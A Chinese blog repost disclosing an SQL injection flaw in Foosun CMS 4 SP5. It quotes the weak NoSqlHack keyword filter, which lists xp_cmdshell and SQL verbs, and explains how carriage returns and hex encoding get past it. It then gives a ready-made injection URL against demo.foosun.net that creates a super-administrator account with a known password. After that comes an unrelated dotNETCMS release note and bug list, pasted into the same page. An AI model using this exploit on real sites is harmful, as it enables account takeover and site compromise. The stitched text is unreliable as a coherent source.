风讯4高危漏洞


来源:amxku's blog

oosun cms4sp5 商业版存在严重注射漏洞

风讯4的防注射函数NoSqlHack存在致命缺陷,导致入侵者可以轻松得到webshell

Function.asp
Function NoSqlHack(FS_inputStr)
 Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr
 Str_InputStr=FS_inputStr
 f_NoSqlHack_AllStr="*|and |exec |or |insert |select |delete |update |count |master |truncate |declare |and |exec |insert |select |delete |update |count |master |truncate |declare |char(|mid(|chr(|and[|exec[|insert[|select[|delete[|update[|count[|master[|truncate[|declare[|set[|set |set |where[|where |where |xp_cmdshell|xp_cmdshell |xp_cmdshell "
 f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")

 For f_NoSqlHack_i=LBound(f_NoSqlHack_Str) To Ubound(f_NoSqlHack_Str)
 If Instr(LCase(Str_InputStr),f_NoSqlHack_Str(f_NoSqlHack_i))<>0 Then
 If f_NoSqlHack_Str(f_NoSqlHack_i)="'" Then f_NoSqlHack_Str(f_NoSqlHack_i)=" /' "
 Response.Write "<html><title>??</title><body bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>???????????</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br><li>?????????!</li><br><li>??IP:"&Request.ServerVariables("Remote_Addr")&"</li><br><li>????:"&Now&"</li></font></body></html><!--Powered by Foosun Inc.,AddTime:"&now&"-->"
 Response.End
 End if
 Next
 NoSqlHack = Replace(Str_InputStr,"'","''")
End Function
关键字后面跟空格和tab是过滤的,但是跟回车时一样可以执行注射语句.过滤单引号也没有用的,我插入时用16进制编码,所以每一个点都是有问题的注射点

下面的代码可以创建一个用户名为oldjun,密码为12345678的超级管理员
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;insert%0D%0A%0D%0Ainto%20FS_MF_Admin%20(Admin_Name,Admin_Pass_Word,Admin_Is_Super)values(0x6F006C0064006A0075006E00,0x3800330061006100340030003000610066003400360034006300370036006400,1)--  

自3月22日dotNETCMSv1.0免费版本发布后,dotNETCMSv1.0的SP1补丁准备工作稳定进行,其间陆续收到各位朋友们热心的意见和BUG反馈,也加快了我们BUG收集进度,同时更有利于我们根据用户反映情况优先解决用户在操作使用中遇到的问题。 风讯科技发展有限公司决定于2008年4月23日下午3:30提供免费版本dotNETCMSv1.0SP1下载。   同时,应广大爱好者的强烈要求,为了降低用户的成本,操作难度,风讯同时推出dotNETCMSv1.0ACCESS版本。 [BUG修复清单]   1.动态调用,终极列表,仅在第一页能显示出来。其他页面为空白。   2.点击发布管理--发布日志,解决了提示有误信息。   3.关于后台自定义表单存在表单项,显示不完全。   4.修正新闻附件时,自动加载一条下载项。   5.采集系统,使用新浪网类似采集时,采集失败100%,查看URL采集的地址,是因为地址不正确引起的,即继承了栏目的URL。   6.新增JS发布功能。   7.进一步修正网站端口合理性,如:带有端口号的问题。生成的连接路径: <a href=":84/html/2008-4/2008-4-14-14-3。html">这种显示不对,端口号应该是与域名连在一起的。会员标签问题 调查,广告类的端口问题。   8.增加后台上传文件后预览格式--Pdf格式已加入预览行列。   9.解决了栏目和新闻复制与移动报错。   10.将栏目管理生成静态文件的方式,修改成与新闻管理的新闻生成方式一致,不需要返回到发布管理时里面去处理生成。   11.解决了关于列表标签新闻条数据不受限制的问题。(新闻列表标签,调用数据成2的倍数,调用2条出现4条,调用5条出现10条。 同时每一个列表标签下面都跟了一个更多链接,请将更多链接加入标签里面, 以便进行设置样式,显示名称。同时还存在一个问题,如果我调用的最新所有的新闻,那么这个更多链接到那个页面呢?)   12.当列表标签生成以table方式生成后,代码出现如下情况,无头<table>但有结束</table>。   13.完善了会员投稿错误功能。   14.修正AC、SQL版本的终极列表页,分页偶尔显示标签的情况。   15.修正系统学习和练习使用模版,在编辑时不显示CSS框架布局的情况。   16.修正了AC版相关报错的情况。 17.完善了修改新闻栏目批量属性的功能。   18.完善了动态发布新闻标题与内容正确链接的情况。   19.后台评论管理,操作某条评论时,称对其进行解锁或锁定影响其它评论的完善。   20.修正了会员中心添加好友,发信息时提示有误的情况。   21.修正会员讨论组捐献有误提示。   22.完善会员中心在任意地方登录默认为Admin用户。   23.修正了栏目列表标签无更多链接,加入了更多的设置。   24.完善了渐变广告位置不能设置,一直在左下角的功能。   25.修正了自定义字段的栏目归档新闻指向新的数据表。   26.修正了AC版本中数据库备份成功了的,点击下载却出错。   27.论坛整合修正。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值